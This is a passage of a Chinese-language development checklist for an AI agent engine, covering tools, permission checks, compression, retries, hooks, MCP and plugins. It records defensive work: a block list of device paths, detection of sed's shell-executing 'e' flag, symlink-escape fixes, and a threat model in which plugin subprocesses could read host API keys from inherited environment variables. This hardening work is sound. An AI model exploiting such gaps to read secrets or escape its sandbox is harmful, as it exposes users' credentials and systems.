### 0.1 EngineObserver 接口体系 ✅ - [x] EventObserver 核心事件接口(Event + Error) - [x] MetricObserver 指标接口(可选,type assertion 检测) - [x] TraceObserver 调用链接口(可选,SpanStart/SpanEnd) ### 0.2 默认实现 ✅ - [x] NoopObserver(零开销空实现,未配置时默认使用) - [x] StderrObserver(开发调试,支持级别过滤) - [x] CompositeObserver(多路复合,同时发到多个后端) - [x] BufferedObserver(异步批量,不阻塞热路径) ### 0.3 StrictMode 严格模式 ✅ - [x] ToolResultPairing / CompactFailure / NormalizerError 三个独立开关 - [x] Check 方法同时处理 panic 和 observer 记录 ### 0.4 Engine 接入 ✅ - [x] Config.Observer / Config.StrictMode 配置项 - [x] Engine 构造时 nil 安全初始化(NoopObserver) - [x] runLoop 关键路径埋点(API 调用,工具执行,压缩,会话结束) ### 1.1 AST 解析替代字符串分割 ✅ - [x] 实现 Bash AST 解析器(heredoc,引号,命令替换,进程替换) - [x] Heredoc 边界检测(`< 等) - [x] 对 old_string 和 new_string 同时应用 ### 2.3 两步验证设计 ✅ - [x] validate() - 快速失败,不写文件,权限检查前运行 - [x] apply() - 原子执行,带文件缓存更新 - [x] CRLF 规范化 + 空白差异检测 + Levenshtein 相似匹配 ### 2.4 文件缓存集成 ✅ - [x] 编辑后 Record() 更新缓存 ### 补完 ✅ - [x] Diff 预览 - generateUnifiedDiff(3 行上下文) - [x] 符号链接安全检测 - Lstat 检测 + 目标路径披露 + 阻止编辑 - [x] 原子写入 - tmp + rename(同目录,跨 FS rename 失败自动清理) ### 3.1 图片处理 ✅ - [x] magic bytes 检测(不信任扩展名)+ base64 内联 - [x] image.DecodeConfig 提取尺寸 - [x] 大图(>10MB)仅返回元数据 - [x] EXIF 方向校正 - JPEG(纯Go) + TIFF(纯Go解码器/LZW/PackBits) + WebP(RIFF自解析+x/image) + HEIC(CGO+libheif,含 TIFF/HEIC magic 检测) ### 3.2 PDF 支持 ✅ - [x] magic bytes(%PDF-)验证 - [x] pages 参数解析("1-5", "3", "10-20") - [x] /Type /Page 启发式页数估算 - [x] 20 页/请求限制 ### 3.3 Jupyter Notebook ✅ - [x] .ipynb JSON 完整解析 - [x] In[N]/Out[N] 代码单元 + Markdown + 错误追踪 - [x] 支持 string 和 string[] 两种 source 格式 ### 3.4 设备文件阻止 ✅ - [x] 路径黑名单(/dev/zero, /dev/random, /proc/self/mem 等) - [x] os.ModeDevice 检测兜底 ### 3.5 路径安全 ✅ - [x] Clean + 绝对路径强制 - [x] Lstat 符号链接检测 + EvalSymlinks 解析 - [x] UTF-8 BOM 跳过 + UTF-16 BOM 检测 + 二进制 null byte 检测 ### 4.1 双引擎策略 ✅(升华设计) - [x] Grep: RipgrepEngine(rg 可用)+ BuiltinGrepEngine(纯 Go 兜底) - [x] Glob: GitGlobEngine(git ls-files)+ WalkGlobEngine(纯 Go 兜底) - [x] 自动检测引擎(DetectGrepEngine / DetectGlobEngine) ### 4.2 多行匹配 ✅ - [x] Grep `multiline: true`(rg: -U --multiline-dotall, builtin: (?s)) - [x] 预计算行偏移表 + 二分查找行号 ### 4.3 类型过滤 ✅ - [x] 30+ 语言类型映射表 - [x] rg --type / builtin 扩展名过滤 ### 4.4 分页 + 排序 ✅(升华设计) - [x] head_limit 0=无限逃逸口,默认 250 - [x] offset 分页 - [x] 升华:逗号分割 glob(不按空格,文件名有空格更常见) - [x] 升华:≤200 文件 mtime 并行排序,>200 字母序 + 提示 ### 4.5 安全加固 ✅(G8-D review) - [x] WalkGlobEngine symlink 路径逃逸修复(symlinkSafe + EvalSymlinks 前缀校验) - [x] collectFilesForGrep symlink 路径逃逸修复(同上) - [x] 根目录内的合法 symlink 不被误杀(仅拦截跨根目录的越界 symlink) - [x] 测试:TestGlobTool_SymlinkEscape + TestGrepTool_SymlinkEscape ### 5.1 自动模式分类器 ✅ - [x] 两阶段 AI 评估(快速 + 深度思考) - [x] 决策缓存(同一命令复用决策,5分钟 TTL) - [x] thinking 预算管理(Stage 2 BudgetTokens=1024) ### 5.2 Compound 命令完整处理 ✅ - [x] 50 子命令上限(MaxSubcommands=50,超限触发 Ask) - [x] 递归深度限制(MaxRecursionDepth=20,防嵌套栈溢出) - [x] 逻辑短路语义理解 → 故意不实现(ELEVATED 注释说明安全考量) ### 5.3 Sed 脚本验证 ✅ - [x] `e` 标志检测(执行 shell 命令 - 极危险!) - [x] 多命令脚本逐条验证(extractSedExpressions + containsDangerousOperations) - [x] sed 地址模式理解(stripSedAddress 支持数字/范围/正则/自定义分隔符地址) ### 5.4 重定向目标分析 ✅ - [x] 静态 vs 动态目标区分(IsStaticRedirectTarget 增强) - [x] `$()` / 变量 / glob 的识别(含 \r,=,! 等边界防护) - [x] 文件描述符 dup `2>&1` 的逻辑(& 检测 + hasDynamicRedirect 集成) ### 5.5 权限决策缓存 → 规则应用管道 + 去重 ✅ - [x] 规则应用管道(RuleApplier)--将学习建议自动应用为 session 规则 - [x] tool_use_id 去重(PermissionDedup)--FIFO 防止 SDK 重传 - [x] 集成到权限引擎 Check() 流程 - [x] 设计决策:不做命令指纹缓存(安全风险:同 cwd 不同含义),改为规则持久化 - [x] 权限 Handler 返回异常:当作拒绝处理 + 记录错误(permission.Engine 已实现) - [x] 权限规则解析失败:跳过该规则 + 不影响其他规则(RuleApplier 防御性解析) - [x] 权限 Handler 超时:goroutine + select + buffered-chan 模式,默认 5 分钟拒绝(NewEngineWithTimeout) ### 6.1 压缩后恢复精细度 ✅ - [x] 文件恢复 token 预算(最多 5 个文件,每个 5K,总预算 50K) - [x] 技能恢复优先级排序 - [x] MCP 指令增量恢复 ### 6.2 消息分组 ✅ - [x] 按 API 往返分组(GroupByAPIRound) - [x] 孤立 tool_result 检测 ### 6.3 压缩前图像移除 ✅ - [x] 压缩 API 调用前剥离图像块 - [x] Document/嵌套图像的处理 ### 6.4 多策略压缩 ✅ - [x] 部分压缩(保留最近消息前缀) - [x] 反应式压缩(基于 token 预算的尾部裁剪) - [x] 策略选择逻辑(何时用部分/完整) ### 6.5 三层压缩降级 + 断路器改进 ✅ - [x] 三层降级策略:单次压缩 → 砍头重试 → 分块压缩 - [x] 砍头重试(truncateAndRetryCompact,最多 5 次,逐步砍最旧组) - [x] 分块压缩(chunkedCompact,按轮次边界分块,并行 goroutine) - [x] 分块切分保证轮次边界完整性(chunkByTokenBudget) - [x] 断路器改进:rate limit (429/529) 不计入失败次数 - [x] 断路器改进:时间重置(默认 5 分钟后自动恢复) - [x] 断路器内嵌到 Compressor,CompactTiered 自动管理 - [x] isPromptTooLong / isRateLimit 错误分类辅助函数 - [x] 压缩 API 调用三层防御:提示词禁止工具调用 + 不传 tools 参数 + tool_use 块当文本处理 - [x] 压缩结果为空:降级到最近 5 条消息(compactFallbackMessages = 5,compactFull + compactPartial 均覆盖) - [x] 失败计数持久化(CircuitBreakerPersister 接口 + FilePersister,per-project cwd hash,TTL=1h,原子写入,engine.go 自动激活) ### 7.1 消息规范化管道 ✅(升华重构) - [x] MessageNormalizer 接口 + NormalizePipeline 可组合管道 - [x] 9 个内置步骤(Priority 排序,独立可测试): - OrphanToolResultRemover (10) - 孤立 tool_result 移除 - ErrorContentStripper (15) - 错误内容自动剥离(防坏图毁会话) - OrphanThinkingFilter (18) - 纯 thinking assistant 过滤 - EmptyMessageFilter (20) - 空消息过滤 - WhitespaceAssistantFilter (22) - 空白 assistant 过滤 - ToolUseInputNormalizer (25) - tool_use 输入规范化(内部字段剥离+别名) - ConsecutiveRoleMerger (30) - 连续同角色合并 - ImageValidator (50) - 超大图片自动剥离 - AttachmentReorderer (5) - 附件上浮(预留,待附件概念引入后启用) - [x] NormalizeMessagesForAPI() 向后兼容包装 - [x] Message.Metadata 扩展字段(附件标记,虚拟消息等) - [x] 43 个测试全部通过(含 Pipeline 集成测试 + 各步骤独立测试) ### 7.2 stop_reason 完整处理 ✅ - [x] max_tokens 恢复策略(先低后高 + ContextOverflowHandler 自动修正) - [x] stop_sequence 自定义支持(API 层 StopSequences 字段 + engine 层 stop_reason 处理) ### 7.3 Tool Result 配对修复 + 可观测性基础设施 ✅ - [x] EngineObserver 接口(EventObserver + MetricObserver + TraceObserver) - [x] NoopObserver / StderrObserver / CompositeObserver / BufferedObserver 四种实现 - [x] StrictMode 严格模式(测试/安全评估环境开启,配对异常/压缩失败/规范化异常分别控制) - [x] ToolResultPairingNormalizer 4 种 case(注入合成 tool_result / 剥离孤立 / 去重 tool_use / 去重 tool_result) - [x] Engine.runLoop 关键路径埋点(API 调用完成 / 工具执行 / 压缩触发 / 会话结束) - [x] DefaultNormalizePipelineWithObserver 支持 Observer 注入 - [x] 诊断快照函数 buildDiagnosticDetail(不泄露用户数据) - [x] 完整测试覆盖(observer_test / strict_test / norm_tool_result_pairing_test) ### 7.4 Token 预算精细度 ✅ - [x] Prompt caching 效应的预算重算(GetTokenCountFromUsage / GetBillingTokens) - [x] Extended thinking 预算分配(EffectiveContextWindowWithThinking) - [x] 动态上下文窗口查询(OnModelSwitch) - [x] 混合估算法(EstimateCurrentUsage: 精确锚点 + 粗估增量) - [x] Sibling 回溯(并行工具调用 api_response_id 追踪) - [x] 有效窗口多层计算(AutoCompact / Warning / Error / Blocking 四级阈值) - [x] Observer 埋点(token_budget_estimated / token_budget_model_switch_overflow) - [x] Engine 集成(runLoop 中的 token 警告 + 压缩阈值使用 TokenBudgetManager) - [x] 完整测试覆盖(38 个测试用例) ### 7.5 查询链追踪 ✅ - [x] 查询链 UUID(QueryChainTracking.ChainId,chain__ 格式) - [x] 分叉点记录(Fork 继承 ChainId + Depth+1 + ParentAgentId) - [x] 成本归因(Observer 事件自动注入 query_chain_id,BigQuery 可按链汇总 token/成本) ### 7.6 查询循环防御性 ✅ - [x] 工具执行超时:优雅终止 + 返回已收集的部分输出(bash.go ExecTimeout + timedOut 标记) - [x] 工具结果超大:截断 + 存磁盘 + 返回摘要+路径(ResultStore) - [x] 文件引用不存在:InputProcessor 报错 + 保留原始文本(input.go) - [x] 图片读取失败:FileRead 返回错误消息 + 主流程继续(不 crash) - [x] 工具不存在:返回可用工具列表(orchestrator.go getToolSchemaHint) - [x] 工具输入 JSON 无效:返回对应工具 InputSchema 提示(orchestrator.go + engine.go json.Valid() 预检) - [x] 工具返回非 UTF-8:strings.ToValidUTF8 替换 + warning 标记(orchestrator.go) - [x] 输入过大(>100K token):截断 + maxInputChars = 100_000 常量(engine.go runLoop) ### 8.1 错误分类精细化 ✅ - [x] HTTP 状态码 → 错误类型的完整映射(20种 ErrorCategory 枚举) - [x] X-Anthropic-* header 检查(AnthropicClassifier: ratelimit/retry/reset) - [x] AI 网关指纹识别(HTML 消毒 + CloudFlare title 提取 + overloaded_error 检测) - [x] ErrorClassifier 接口 + Provider Adapter 模式(Default/Anthropic/Composite) - [x] SSL 错误码目录(19码)+ 连接诊断 DiagnosticHinter 接口 - [x] RetryInfo 结构化(retry-after + x-should-retry + reset timestamp) - [x] Token 差值解析(prompt_too_long 响应式压缩跳步) - [x] client.go 集成:结构化 APIError 替代 fmt.Errorf ### 8.2 重试策略完善 ✅ - [x] RetryPolicy 接口 + CompositeRetryPolicy 叠加 - [x] ExponentialBackoff(指数退避+25%抖动+MaxDelay+MaxDuration) - [x] ForegroundOnly(后台 529 不重试,防容量级联放大) - [x] ConsecutiveLimit(连续 N 次同类错误放弃) - [x] ServerDirective(尊重 x-should-retry) - [x] Retryer 执行器(Do + Observer 回调 + context 取消) - [x] ContextOverflowHandler(max_tokens 溢出自动修正) - [x] Anthropic 子集:SubscriptionAwareRetry + FastModeCooldown + ModelFallback - [x] NewAnthropicRetryPolicy 工厂函数(6层策略组合) - [x] 49 个测试覆盖全部策略路径 ### 8.3 API 预连接 ✅ - [x] TCP+TLS 握手预热(Preconnector.Warmup fire-and-forget HEAD) - [x] HTTP keep-alive 配置(TransportConfig: MaxIdleConns/IdleTimeout/HTTP2) - [x] DNS 预解析(DNSCache TTL 缓存 + Prefetch fire-and-forget) - [x] WithTransport 选项(Client + Preconnector 共享连接池) - [x] 14 个测试(预热/幂等/失败静默/共享池/DNS缓存/TTL过期) ### 8.4 SSE 边界情况 ✅ - [x] StreamGuard 流守卫(叠加在 parseSSE 裸解析之上) - [x] 空响应检测(200 但无 SSE 事件 → 代理故障报错) - [x] 部分流检测(有 message_start 但无 stop_reason → 网络中断报错) - [x] 空闲看门狗(可配置超时默认 90s + 警告 + 主动中止流) - [x] 停顿诊断(>30s 间隔记录 stall 次数/累计时间 + OnStall 回调) - [x] Scanner 错误处理(bufio.ErrTooLong / I/O 错误) - [x] 合法空响应识别(有 stop_reason 但无 content block 不误报) - [x] 13 个测试覆盖全部边界路径 - [x] 429/529 重试:指数退避 + ForegroundOnly(后台 529 直接失败)(模块 8.2) - [x] 401 认证失败:结构化 APIError 分类 + 用户提示(errors.go) - [x] 模型返回不完整 JSON(tool_use input delta):json.Valid() 预检 + getToolSchemaHint 友好错误(engine.go) ### 9.1 Hook 输出影响行为 ✅ - [x] HookHandler 接口 + ShellHandler + CallbackHandler(CLI/SDK 双模式) - [x] HookDef.Handler 字段(Handler > Command 优先级) - [x] Manager.Execute 多后端适配(executeOne 自动选择后端) - [x] ParseToolHookResponse(exit 2 / decision=block → 阻止工具,fail-open) - [x] ParseStopHookResponse(exit ≠ 0 / decision=stop → 停止循环) - [x] ParsePostCompactHookResponse(stdout → 带来源标记的补充摘要) - [x] engine.go 5 个触发点:pre_tool_use(block 即短路)/ post_tool_use / permission / stop / session - [x] permission_decision 埋点(hook 自动决策时记录) - [x] 29 个测试(Handler/解析/Manager 多后端/阻止/停止/摘要) ### 9.2 pre/post-sampling hook ✅ - [x] pre-sampling: API 调用前触发(同步,exit 非零终止本轮,推送 WarningEvent) - [x] post-sampling: API 响应后,工具执行前触发(异步 fire-and-forget,用 rootCtx 防泄漏) ### 9.3 插件级 Hook 注册 ✅ - [x] 插件 Hook 与全局 Hook 的优先级(注册顺序保证:全局先于插件执行) - [x] 动态注册/取消(HookDef.Source + UnregisterBySource/UnregisterAllBySource) - [x] Engine 插件-hook 桥接(syncPluginHooks + LoadPlugin/EnablePlugin/DisablePlugin) - [x] 会话级 hook 注册(addFunctionHook/removeFunctionHook)→ 延期至未来模块,已记录扩展点注释 - [x] Hook 命令不存在:跳过 + 警告日志(ShellHandler exec.LookPath 失败 fail-open) - [x] Hook 输出非 JSON:当作纯文本日志(ParseToolHookResponse 非 JSON 时忽略解析) - [x] Hook 超时:终止子进程 + 继续主流程(Manager.Execute ctx 传播 + fail-open) ### 10.1 路径遍历防护 ✅ - [x] `../../../` 规范化验证(validateEntryName + confinedPath + validateBaseDir) - [x] 符号链接目标检查(checkSymlinkWithMode + WithStrictSymlink 严格/宽松双模式) - [x] 循环链接深度限制(filepath.EvalSymlinks 依赖 OS MAXSYMLINKS=40,注释说明) - [x] isCJK 修复:移除 U+F900-U+FAFF 兼容区(防止同名异 codepoint 产生重复文件) - [x] ScanMemoryDir 路径确认(filepath.Rel 验证扫描文件在 baseDir 内) ### 10.2 团队记忆同步 ✅ - [x] 云端同步机制(SyncAdapter 接口 + WithSyncAdapter + maybePull/maybePush) - [x] 冲突解决(ConflictPolicy 四策略:LocalWins/ServerWins/Merge/Fail) - [x] Pull 时机控制(PullPolicy:OnSessionStart/WithTTL/Always/Never) - [x] GitSyncAdapter(独立/嵌入双模式,支持 ConflictFail 冲突检测) - [x] NoopSyncAdapter(默认,向后兼容,IsAvailable=false 零开销) - [x] HTTP 后端(HTTPSyncAdapter)→ 延期至 P2,已记录扩展点 ### 10.3 自动提取代理 ✅ - [x] 后台 fork 运行(scheduleMemoryExtraction + SubAgent.historyMessages 传入对话历史) - [x] 提取触发条件(ShouldExtract 每 5 轮一次,BuildPrompt 加 newMessageCount 精准定位) - [x] 与主代理的互斥(hasMemoryWritesSince 扫描 assistant 消息;单飞+pendingSnap 后置补跑) - [x] MemoryDirRestrict(SubAgent Edit/Write 只允许写入记忆目录) - [x] memory.Store.Dir() 接口方法(hasMemoryWritesSince 和 MemoryDirRestrict 用) - [x] BuildPrompt 并行读写策略提示词(Turn 1 所有 Read,Turn 2 所有 Write) - [x] NewFileStoreWithBaseDir(测试辅助构造函数) ### 10.4 新鲜度警告 ✅ - [x] 超过 N 天的记忆警告(FreshnessText/FreshnessNote) - [x] 配置化阈值(FreshnessConfig.GlobalThreshold + TypeOverrides,支持 sub-day) - [x] MEMORY.md 索引双重截断(200行/25KB)+ WARNING 提示 - [x] UpdateIndex 用 FreshnessConfig 替换硬编码 30 天(IndexAnnotation) - [x] CheckMemoryRelevance 运行时注入 FreshnessNote(按记忆类型分阈值) - [x] Config.FreshnessConfig 注入链路(engine.New → fileStore → ReminderSystem) ### 11.0 工具名格式统一 ✅ - [x] mcp__serverName__toolName 格式(无条件前缀) - [x] parseToolFullName 解析新格式 - [x] manager.go / bridge.go 全部更新 ### 11.1 Transport 接口 + 多传输支持 ✅ - [x] Transport 接口(Send/Recv/Close,raw JSON 字节层) - [x] AuthProvider 接口(per-request,支持动态 token 刷新) - [x] StaticTokenAuth + NoopAuth 内置实现 - [x] StdioTransport(子进程管理 + newline-delimited JSON) - [x] SSETransport(HTTP GET SSE + POST,2024-11-05 规范) - [x] HTTPTransport(HTTP Streamable,2025-03-26 规范) ### 11.2 Client 重构 ✅ - [x] Client 使用 Transport 接口(不感知传输细节) - [x] dispatchLoop 异步路由(JSON-RPC pending map 迁至 Client 层) - [x] ToolListChanged 通知 → 脏标记 + 懒惰刷新 - [x] ConnectAll 并发限制(stdio≤2,remote≤5) - [x] OAuth 由消费层实现 AuthProvider 接口注入(engine 核心不感知) ### 11.3 Schema 转换完整性 ✅ - [x] oneOf/anyOf 保留(不强制注入 type 字段) - [x] 缺失 type 时补 "object" ### 11.4 资源预取和缓存 ✅ - [x] 资源缓存(ResourceCache TTL,键格式 serverName:uri) - [x] 缓存过期策略(TTL,0=永不过期;ToolListChanged 联动 InvalidateServer) - [x] Manager.ReadResource + InvalidateResourceCache + InvalidateServerResourceCache ### 11.5 Elicitation 处理 ✅ - [x] elicitation 消息解析(ElicitationCreateParams/Schema/Result 类型 + JSON 序列化) - [x] 用户确认流程集成(ElicitationHandler 接口 + NoopElicitationHandler + func 适配器) - [x] dispatchLoop 识别 server-to-client 请求(有 ID + 有 Method → handleServerRequest) - [x] Client.SetElicitationHandler + handleElicitationCreate + sendServerResponse - [x] Manager.SetElicitationHandler + ConnectAll/ConnectOne 注入(Initialize 前) - [x] engine.Config.ElicitationHandler 字段 - [x] engine.ElicitationHandler 接口 + ElicitationHandlerFunc 适配器 ### 11.6 MCP 防御性 ✅ - [x] MCP 服务器启动失败:跳过该服务器 + 警告 + 其他服务器不受影响(ConnectAll 独立 error 收集) - [x] MCP 工具调用超时:ctx 超时传播 → Transport 返回 error → 工具返回 error result - [x] MCP 服务器崩溃中途:Client.onClose 回调(dispatchLoop EOF 触发)+ Manager.reconnectLoop(5次指数退避±25%抖动)+ removeServerOnFailure(清 clients/toolCache/resourceCache + onServerRemoved 回调 + Observer 事件 mcp_reconnecting/mcp_reconnected/mcp_reconnect_failed/mcp_server_removed),10 个测试 ### 12.1 依赖解析 ✅ - [x] DFS 递归依赖解析(ResolveClosure,三色标记拓扑排序) - [x] 循环依赖检测(ErrDependencyCycle) - [x] 依赖缺失检测(ErrDependencyMissing) - [x] 跨来源依赖拒绝(ErrDependencyCrossSource:项目级→用户级禁止) - [x] VerifyAndDemote 固定点迭代传播禁用 - [x] FindReverseDependents 反向依赖查询 ### 12.2 LoadResult + 结构化错误 ✅ - [x] LoadResult{Enabled/Disabled/Errors/Warnings} - 单个插件失败不阻断其他 - [x] PluginError 10 种错误码(manifest/skills/hooks/mcp/依赖/冲突) - [x] ValidationResult 用于预检(ValidateManifest 独立于加载流程) ### 12.3 Claude Code 格式兼容 ✅ - [x] manifest mcpServers 字段与 Claude Code 格式对齐 - [x] mcp_servers 旧字段向后兼容(UnmarshalJSON 双字段) - [x] Plugin.Source 字段(Builtin/User/Project 三级) ### 12.4 SDK 内置注册 ✅ - [x] RegisterBuiltin(BuiltinDef) - 无文件系统代码注册插件 - [x] ErrBuiltinConflict - 与文件系统插件冲突检测 ### 12.5 Plugin 完整性校验 ✅ (原 DXT/MCPB Bundle, 2026-04-15 反转重命名) - [x] ~~Bundle 解压 (.dxt/.mcpb)~~ **放弃**. 2026-04-15 经 8 轮反向推敲后决策: Anthropic `.mcpb` PKCS#7 桌面应用范式不适合 Go 引擎 (shell out openssl), 且业内流行的开源 agent 项目 (如 OpenClaw / LangChain / OpenHands) 都不支持 .mcpb bundle 格式. Flyto 走 "本地目录 + 语言无关 MCP subprocess" 模型, 不兼容 `.mcpb` bundle. 删除 `core/pkg/plugin/bundle.go` + `bundle_test.go` (净删 500 行). 详见 `core/pkg/plugin/doc.go` 的"与其他 agent 生态对比"段落. - [x] 插件完整性校验 (SHA-256 sidecar 模型) - 2026-04-15 完成. 替换原 scaffolding (commit 58c3ab5 的 placeholderEd25519Verifier + SecurityMetadata) 为真实现: `core/pkg/plugin/integrity.go` 提供 `SHA256IntegrityVerifier` (宽松模式, 基于可选 `plugin.checksum` sidecar 文件) + `RejectUnsignedVerifier` (严格模式 decorator) + `ComputeChecksum` / `WriteChecksumFile` 公开 SDK (供第三方打包器 / CI / 未来 `flyto plugin checksum` CLI 使用). 威胁模型: 防本地篡改 (其他进程 / Dropbox 同步 / 开发者误改), 不防远程伪造 (需未来 Ed25519/Sshsig 实现). 哈希算法: filepath.WalkDir 排序 + `relpath + \n + length_u64_be + content` 流式 SHA-256, 跨平台确定性, 排除 `plugin.checksum` 自身防自引用. 12 个单元测试全部通过 (含 round-trip / 篡改检测 / plugin.json 关键文件保护 / 严格模式 / bad hex / 幂等). `SecurityMetadata` manifest 字段已删除 (改用 sidecar 避免循环依赖). `SignatureVerifier` interface 契约改为 `Verify(dir, *Manifest) error`, 未来 Ed25519/Sshsig/Sigstore/PKCS7 可作为新实现接入. 详见 `integrity.go` 文件头的"威胁模型"和"哈希算法"段落. ### 12.6 插件配置 Schema ✅ - [x] ConfigFieldDef(Key/Type/Required/Default/Description/Secret) - [x] ValidatePluginConfig:Required 字段缺失 → ErrConfigValidation;类型约束验证 - [x] maskSecretFields:Secret=true 字段日志脱敏 - [x] pluginConfigStore 两层 map(插件名 → configMap,线程安全) - [x] Host.GetPluginConfig / GetPluginConfigField / SetPluginConfig - [x] Manifest.ConfigSchema 字段(向后兼容,nil 时跳过验证) ### 12.7 Plugin 声明式 tool 注册 ✅ (2026-04-15 新增) - [x] PluginToolDef 结构 (manifest.tools 字段): Name / Description / InputSchema / Command / Args / Env / WorkDir / TimeoutSeconds / PermissionClass / ConcurrencySafe / ReadOnly / Destructive - [x] `pluginShellTool` 实现 tools.Tool interface (Unix filter 范式: stdin JSON / stdout 结果 / exit code 状态) - [x] `NewPluginShellTool(def, pluginDir, pluginName)` 公开 factory - 让 SDK 嵌入场景可以手动构造 tool - [x] `loadPluginTools` loader 内部函数 - 把 manifest.Tools 翻译成 []tools.Tool, 跳过非法声明 - [x] `Plugin.Tools []tools.Tool` 字段 - 存运行时实例 - [x] `Host.GetAllTools()` - 收集所有启用 plugin 的 declarative tool, 供消费层注册到 tools.Registry - [x] **Process group kill** (plugin_tool_unix.go + plugin_tool_windows.go): 子进程用 Setpgid=true 放独立 group, cancel 时 `syscall.Kill(-pid, SIGKILL)` 连带终止 shell 孙进程 (经典 Docker/systemd 做法), 避免 `/bin/sh -c 'sleep'` 这类 subshell 的 timeout 失效问题. Windows 退化为 kill 单进程 (Job Object 方案未来再做) - [x] 18 个单元测试覆盖 happy path / 非零 exit / timeout (含 process group kill 验证) / context cancel / env 注入 / stdin JSON / 默认 WorkDir / 相对 WorkDir / command not found / Metadata / 默认 PermClass / 默认 schema / 自定义 schema / loadPluginTools 跳过非法 / 空输入 / interface 编译检查 - [x] plugin 扩展 tool 从"只能 MCP server"升级为"MCP server 或 declarative" 两条路径, 详见 `core/pkg/plugin/doc.go` 和 `core/pkg/plugin/plugin_tool.go` 文件头 ### 12.8 Plugin MCP server engine 集成 ✅ (2026-04-15 新增) - [x] `Engine.mcpMgr *mcp.Manager` 字段 (engine-owned, 不放 plugin.Host, plugin 包保持零 internal/mcp 依赖) - [x] `syncPluginMCPServers()` 方法 (clean-slate rebuild, 对称 syncPluginTools): Step1 关闭 plugin 前缀的 server + unregister proxy tool, Step2 遍历 Host.GetAllMCPServers() 用 ConnectOne 启动并发现 tool 注册为 mcpProxyTool - [x] `mcpProxyTool` 类型 (实现 tools.Tool interface) 转发 CallTool 到 mcp.Manager, 支持 text/image/resource/unknown 多类型 content flatten - [x] server key 命名空间 `plugin..` + agent 侧 tool 名 `:/` 对齐 pluginShellTool 的 `:` 约定 - [x] `parsePluginMCPServerKey` 严格按 prefix + 首个 dot 分割, 区分 plugin-owned 和 user-configured 避免误伤 settings.json 的 server - [x] `DisablePlugin` 新增 `shutdownPluginMCPServers` step, 先 unregister proxy tool 再 CloseOne, fail-safe 顺序 - [x] `Engine.Close()` 4a2 步骤调用 `mcpMgr.CloseAll()` 优先于 plugins.Close(), 避免 rootCancel 无法 kill stdio 孙进程 - [x] `New` / `LoadPlugin` / `EnablePlugin` 三处调用点对称追加 syncPluginMCPServers - [x] 9 个单元测试: 命名空间 round-trip / foreign key 拒绝 / tool name 格式 / ToolCallResult 转换 (text/error/nil/mixed) / InputSchema fallback / Execute 非 object 输入降级为 IsError Result - [x] stdio / sse / http / ws 四种 transport 全启用 (internal/mcp 已支持, 无额外代码成本) - [x] `internal/mcp/stdio_transport.go` MCP stdio server subprocess env 隔离 - 2026-04-15 完成. 原 L102 无条件 `cmd.Env = os.Environ()` 继承 Flyto 主进程全部环境变量 (包括 ANTHROPIC_API_KEY / OPENAI_API_KEY / AWS_SECRET_ACCESS_KEY), plugin 的不可信 MCP server 可读到. 本次修复: (1) 新建 `core/pkg/execenv` 包提供共享的 `MinimalEnv` (白名单 PATH/HOME/LANG/LC_ALL + extra 覆盖) 和 `ExpandEnvMap` (`${VAR}` / `$VAR` 宿主 env 展开, 未设置变量硬 error). (2) `stdio_transport.go` 的 startProcess 改为 `ExpandEnvMap + MinimalEnv`, 启动期解析展开失败直接返回 error. (3) `plugin_tool.go` 删除本地 `minimalExecEnv`, 改用共享 `execenv` 包, 同时获得 `${VAR}` 展开能力. 策略对 plugin-owned 和 user-configured MCP server **一视同仁不分叉** - 反向讨论结论: Flyto 目标场景 (飞驼云仓等 B2B SaaS) 下双轨制的宽松轨是结构性死代码. 前缀区分 (`parsePluginMCPServerKey`) 只服务 lifecycle 隔离, 和 env 策略正交. 测试: execenv 包 11 个单元测试 (白名单 / extra 覆盖 / ${VAR} 展开 / 未设置 error / 空字符串合法 / $$ 转义) + stdio transport 5 个集成测试 (NoOsEnvLeak / PathLookupStillWorks / EnvVarExpansion / MissingEnvVarFailsStartup / ExplicitEmptyEnvVarIsOK). 详见 `core/pkg/execenv/env.go` 文件头和 `core/pkg/plugin/doc.go` 的"子进程 env 隔离"段落. (**P2 安全修复**) - [x] 🟢 stdio 真子进程集成测试 - 2026-04-15 完成. Go self-exec 模式: TestMain 检测 `__FAKE_MCP_SERVER__` env var 将测试二进制分叉为 fake MCP server (echo/env_check/exit_server 三个工具), 端到端验证 StdioTransport → Client → Manager 全链路 JSON-RPC 通信. 5 个集成测试: (1) InitializeAndListTools - 完整握手 + 工具发现 + serverInfo 验证, (2) CallTool - 参数序列化→子进程解析→结果返回, (3) EnvIsolation - 宿主敏感 env 不泄漏 + 显式声明 env 传递 + PATH 白名单可用, (4) ManagerConnectAndCallTool - Manager.ConnectOne + AllTools mcp__server__tool 命名 + CallTool/CallToolByName 路由, (5) SubprocessExit - os.Exit(42) crash 检测 + IsAlive() + ProcessError(). 全量 93 个包测试绿 (5 新 + 88 已有). 精妙之处: env 传递本身验证了 execenv 隔离路径 -- `__FAKE_MCP_SERVER__` 必须通过 MCPServerConfig.Env + ${VAR} 展开才能到达子进程. 文件: `internal/mcp/stdio_integration_test.go` (~300 行). (**P3 feature**) - [x] 🟡 **L511 审计衍生任务**: `pkg/hooks/executor.go:71` hook executor env 泄漏 - 2026-04-15 完成. 原代码 `cmd.Env = mergeEnv(os.Environ(), env)` 无差别继承宿主全部 env, 第三方 plugin 的 hook 脚本可读到 ANTHROPIC_API_KEY. **设计分叉与 L511 不同**: 审计发现 hook 场景下"用户自配 hook"是主流路径不是死代码 (引擎内部 lifecycle + settings.json 用户 hook 都走 Source==""), 一刀切白名单会断掉存量 git push / ssh-agent / $GITHUB_TOKEN 类用户 hook, 爆炸半径远大于威胁模型收益. **最终方案**: 按 `HookDef.PluginDir` 分流 — PluginDir 非空 (plugin-owned) 走 `execenv.MinimalEnv` 白名单 + FLYTO_PLUGIN_ROOT 注入, 对齐 L511 威胁模型; PluginDir 空 (user-configured / 引擎内部 lifecycle) 保持 `os.Environ()` 继承, 对齐 Git hooks / systemd Exec= / npm pre-scripts 默认语义. 选 PluginDir 而非 Source 作为分叉信号, 因为 PluginDir 是更强的"来自插件"证据, Source 未来可能被 SaaS 多租户前缀污染. 反向讨论 + 跨行业 (GitHub Actions `env:` / systemd `PassEnvironment=` / npm scripts CVE 史) 升华见本次 session 设计记录. 测试: 3 条新回归 (`TestExecutor_PluginHookEnvIsolation` / `TestExecutor_PluginHookReceivesPluginRoot` / `TestExecutor_UserHookInheritsEnv`) + 全量 `go test ./pkg/hooks/...` 绿 + `go build ./...` 干净. 文档同步: `pkg/plugin/doc.go` 子进程 env 隔离段落新增"Hook executor 特例"小节. **Follow-up (非阻塞)**: 给 plugin-owned hook 加 `HookDef.Env` 字段作显式逃生口 (走 `execenv.ExpandEnvMap` 做 ${VAR} 展开), 对齐 